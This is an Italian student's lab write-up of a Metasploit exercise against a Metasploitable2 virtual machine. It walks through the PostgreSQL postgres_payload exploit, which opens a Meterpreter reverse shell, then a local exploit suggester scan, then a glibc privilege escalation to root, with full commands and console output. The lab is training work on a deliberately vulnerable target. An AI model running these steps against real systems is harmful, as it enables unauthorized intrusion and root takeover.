

Progetto S7L3 –Esercizio di Pratica

INTRODUZIONE

1. Usa il modulo `exploit/linux/postgres/postgres_payload` per sfruttare una vulnerabilità nel servizio PostgreSQL di Metasploitable

Esegui l'exploit per ottenere una sessione Meterpreter sul sistema target

Escalation di privilegi e backdoor:

- Una volta ottenuta la sessione Meterpreter, il tuo compito è eseguire un'escalation di privilegi per passare da un utente limitato a root utilizzando solo i mezzi forniti da `msfconsole`.
- Esegui il comando `getuid` per verificare l'identità dell'utente corrente

2. Bonus:

- Usa il modulo `post` di `msfconsole` per identificare potenziali vulnerabilità locali che possono essere sfruttate per l'escalation di privilegi.
- Esegui l'exploit proposti e verifica ogni vulnerabilità trovata dal modulo sopracitato.
- Per ogni vulnerabilità test l'escalation di privilegi eseguendo nuovamente `getuid` o tentando di eseguire un comando che richiede privilegi di root.
- sempre usando `msfconsole` installa una backdoor e dimostra che puoi accedere ad essa in un momento successivo

PREFAZIONE

Questo esercizio vede in azione due Macchine Virtuali: [Kali Linux](#) come Attaccante, [Metasploitable2](#) come Target.

[Kali Linux con ip 192.168.2.100](#)

[Metasploitable2 con ip 192.168.2.4](#)

Utilizzeremo lo strumento Metasploit sfruttando il servizio PostgreSQL di Metasploitable 2.

Identificheremo e verificheremo le sue vulnerabilità, diventeremo root infine

installeremo una backdoor per accedervi in un secondo momento

ESECUZIONE: Fase 1

Come prima cosa effettuo un [ping](#) dalla Macchina Kali Linux alla Metasploitable2

```
(kali@kali)-[~]
$ ping 192.168.2.4
PING 192.168.2.4 (192.168.2.4) 56(84) bytes of data:
64 bytes from 192.168.2.4: icmp_seq=1 ttl=64 time=0.414 ms
64 bytes from 192.168.2.4: icmp_seq=2 ttl=64 time=0.511 ms
64 bytes from 192.168.2.4: icmp_seq=3 ttl=64 time=0.363 ms
^C
— 192.168.2.4 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2043ms
rtt min/avg/max/mdev = 0.363/0.429/0.511/0.061 ms
```

Avvio [Metasploit](#) con il comando [msfconsole](#) su Kali Linux

```
(kali@kali)-[~]
$ msfconsole
Metasploit tip: Use the edit command to open the currently active module
in your editor

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  ( ) 0 0 ( )
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= [ metasploit v6.4.103-dev ]
+ -- -- [ 2,584 exploits - 1,319 auxiliary - 1,697 payloads ]
+ -- -- [ 434 post - 49 encoders - 14 nops - 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project
```

Come suggerito dalla traccia dell'esercizio usiamo il modulo [exploit/linux/postgres/postgres_payload](#), per sfruttare una vulnerabilità nel servizio PostgreSQL di Metasploitable 2.

Nel Terminale quindi scriviamo i comandi:
[use exploit/linux/postgres/postgres_payload](#)
[options](#)

```
msf > use exploit/linux/postgres/postgres_payload
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf exploit(linux/postgres/postgres_payload) > options

Module options (exploit/linux/postgres/postgres_payload):

  Name      Current Setting  Required  Description
  ---      -
VERBOSE    false            no        Enable verbose output

Used when connecting via an existing SESSION:

  Name      Current Setting  Required  Description
  ---      -
SESSION                    no        The session to run this module on

Used when making a new connection via RHOSTS:

  Name      Current Setting  Required  Description
  ---      -
DATABASE    postgres         no        The database to authenticate against
PASSWORD    postgres         no        The password for the specified username. Leave blank for a random password.
RHOSTS      192.168.2.4      no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT       5432             no        The target port (TCP)
USERNAME    postgres         no        The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
LHOST      192.168.2.100   yes       The listen address (an interface may be specified)
LPORT      4444            yes       The listen port
```

Exploit target:

Id	Name
0	Linux x86

View the full module info with the `info`, or `info -d` command.

Ora impostiamo i parametri mancanti in **RHOSTS**(ip Metasploitable2) e **LHOSTS**(ip Kali Linux) inserendoli con `set RHOSTS 192.168.2.4` e `set LHOSTS 192.168.2.100`. Ripeto il comando `options` per assicurarmi che siano inseriti.

```
msf exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.2.4
RHOSTS => 192.168.2.4
msf exploit(linux/postgres/postgres_payload) > set LHOST 192.168.2.100
LHOST => 192.168.2.100
msf exploit(linux/postgres/postgres_payload) > options

Module options (exploit/linux/postgres/postgres_payload):

  Name      Current Setting  Required  Description
  ---      -
VERBOSE    false            no        Enable verbose output

Used when connecting via an existing SESSION:

  Name      Current Setting  Required  Description
  ---      -
SESSION                    no        The session to run this module on

Used when making a new connection via RHOSTS:

  Name      Current Setting  Required  Description
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DATABASE    postgres         no        The database to authenticate against
PASSWORD    postgres         no        The password for the specified username. Leave blank for a random password.
RHOSTS      192.168.2.4      no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
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Payload options (linux/x86/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
LHOST      192.168.2.100   yes       The listen address (an interface may be specified)
LPORT      4444            yes       The listen port
```

```
Exploit target:

  Id  Name
  --  --
  0    Linux x86

View the full module info with the info, or info -d command.
```

Uso il comando `run`(avvia)

```
msf exploit(linux/postgres/postgres_payload) > run
[*] Started reverse TCP handler on 192.168.2.100:4444
[*] 192.168.2.4:5432 - 192.168.2.4:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] 192.168.2.4:5432 - Uploaded as /tmp/bwFRPvOx.so, should be cleaned up automatically
[*] Sending stage (1062760 bytes) to 192.168.2.4
[*] Meterpreter session 1 opened (192.168.2.100:4444 -> 192.168.2.4:49147) at 2026-01-21 08:59:22 -0500

meterpreter > sessions -i 1
[*] Session 1 is already interactive.
meterpreter > getuid
Server username: postgres
```

Come da figura l'exploit ha avuto successo (`Meterpreter session 1 opened`), con il comando `getuid` verifico l'identità e come risposta ottengo `Server username: postgres`,

ESECUZIONE: Extra Fase 2

Sulla tastiera digito `ctrl+z` per mettere la sessione 1, sulla quale stiamo lavorando, in background

Utilizzo il comando `use post/multi/recon/local_exploit_suggester`, il quale mi suggerisce gli exploit locali della Macchina Metasploitable2

```
Background session 1? [y/N] y
[-] Unknown command: y. Run the help command for more details.
msf exploit(linux/postgres/postgres_payload) > use post/multi/recon/local_exploit_suggester
```

Inserisco `options`, imposto la SESSION con `set SESSION 1` e verifico che ci sia utilizzando nuovamente `options`.

```
msf post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):

  Name           Current Setting  Required  Description
  ---
  SESSION         1                yes       The session to run this module on
  SHOWDESCRIPTION false            yes       Displays a detailed description for the available exploits

View the full module info with the info, or info -d command.

msf post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):

  Name           Current Setting  Required  Description
  ---
  SESSION         1                yes       The session to run this module on
  SHOWDESCRIPTION false            yes       Displays a detailed description for the available exploits

View the full module info with the info, or info -d command.
```

Inserisco **run** per avviare, vengono individuati **81 moduli**, di cui 8 sicuramente vulnerabili

```
msf post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.4 - Collecting local exploits for x86/linux...
/usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous definition of WhoamiOid was here
[*] 192.168.2.4 - 229 exploit checks are being tried...
[*] 192.168.2.4 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[*] 192.168.2.4 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[*] 192.168.2.4 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[*] 192.168.2.4 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated.
[*] 192.168.2.4 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] 192.168.2.4 - exploit/linux/persistence/autostart: The service is running, but could not be validated. Xorg is installed, possible desktop install.
[*] 192.168.2.4 - exploit/multi/persistence/cron: The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[*] 192.168.2.4 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid

[*] 192.168.2.4 - Valid modules for session 1:

# Name Potentially Vulnerable? Check Result
- - - - -
1 exploit/linux/local/glibc_ld_audit_dso_load_priv_esc Yes The target appears to be vulnerable.
2 exploit/linux/local/glibc_origin_expansion_priv_esc Yes The target appears to be vulnerable.
3 exploit/linux/local/netfilter_priv_esc_ipv4 Yes The target appears to be vulnerable.
4 exploit/linux/local/ptrace_sudo_token_priv_esc Yes The service is running, but could not be validated.
5 exploit/linux/local/su_login Yes The target appears to be vulnerable.
6 exploit/linux/persistence/autostart Yes The service is running, but could not be validated. Xorg is installed, possible desktop i
stall.
7 exploit/multi/persistence/cron Yes The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
8 exploit/unix/local/setuid_nmap Yes The target is vulnerable. /usr/bin/nmap is setuid
9 exploit/linux/local/abrt_raceabrt_priv_esc No The target is not exploitable.
10 exploit/linux/local/abrt_sosreport_priv_esc No The target is not exploitable.
11 exploit/linux/local/af_packet_chocobo_root_priv_esc No The target is not exploitable. System architecture i686 is not supported
12 exploit/linux/local/af_packet_packet_set_ring_priv_esc No The target is not exploitable.
13 exploit/linux/local/ansible_node_deployer No The target is not exploitable. Ansible does not seem to be installed, unable to find ansi
le executable
14 exploit/linux/local/apport_abrt_chroot_priv_esc No The target is not exploitable.
15 exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc No The target is not exploitable.
16 exploit/linux/local/bof_priv_esc No The target is not exploitable.
17 exploit/linux/local/bof_sign_extension_priv_esc No The target is not exploitable. System architecture i686 is not supported
18 exploit/linux/local/cve_2021_3490_ebp_alu32_bounds_check_lpe No The target is not exploitable. System architecture i686 is not supported
```

Vediamo i moduli vulnerabili:

- 1 exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
- 2 exploit/linux/local/glibc_origin_expansion_priv_esc
- 3 exploit/linux/local/netfilter_priv_esc_ipv4
- 4 exploit/linux/local/ptrace_sudo_token_priv_esc
- 5 exploit/linux/local/su_login
- 6 exploit/linux/persistence/autostart
- 7 exploit/multi/persistence/cron
- 8 exploit/unix/local/setuid_nmap ,

Eseguo il modulo 1 per diventare root(Ammministratore) della Metasploitable2

1. Digito use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc e options

```
msf post(multi/recon/local_exploit_suggester) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):

  Name                Current Setting  Required  Description
  --                -
SESSION              /bin/ping       yes       The session to run this module on
SUID_EXECUTABLE      yes             Path to a SUID executable

Payload options (linux/x64/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
LHOST      127.0.0.1       yes       The listen address (an interface may be specified)
LPORT      4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
```

Imposto SESSION, in SESSION 1 e LHOST 192.168.2.100 (Kali Linux in ascolto), noto Payload option (linux/x64..), sapendo che però è x86, la cambio con set payload linux/x86/meterpreter/reverse_tcp e digito options

```
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):

  Name                Current Setting  Required  Description
  --                -
SESSION              1               yes       The session to run this module on
SUID_EXECUTABLE      /bin/ping       yes       Path to a SUID executable

Payload options (linux/x86/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
LHOST      192.168.2.100   yes       The listen address (an interface may be specified)
LPORT      4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
```

Avvio con run:

```
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run
[*] Started reverse TCP handler on 192.168.2.100:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.62d37D0' (1271 bytes) ...
[*] Writing '/tmp/.AKh4tLDH0J' (281 bytes) ...
[*] Writing '/tmp/.0MODs7Jz' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (1062760 bytes) to 192.168.2.4
[*] Meterpreter session 2 opened (192.168.2.100:4444 → 192.168.2.4:48767) at 2026-01-22 02:28:18 -0500
```

Avviato meterpreter scrivo getuid per vedere se sono riuscito nella scalata dei privilegi e sysinfo per riconoscere il sistema operativo

```
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer      : metasploitable.localdomain
OS            : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple    : i486-linux-musl
Meterpreter   : x86/linux
meterpreter > exit
[*] Shutting down session: 2

[*] 192.168.2.4 - Meterpreter session 2 closed. Reason: User exit
```

Getuid dà il risultato sperato, Server username:root ,sysinfo mi accerta che è la Metasploitable2, chiudo la sessione con exit.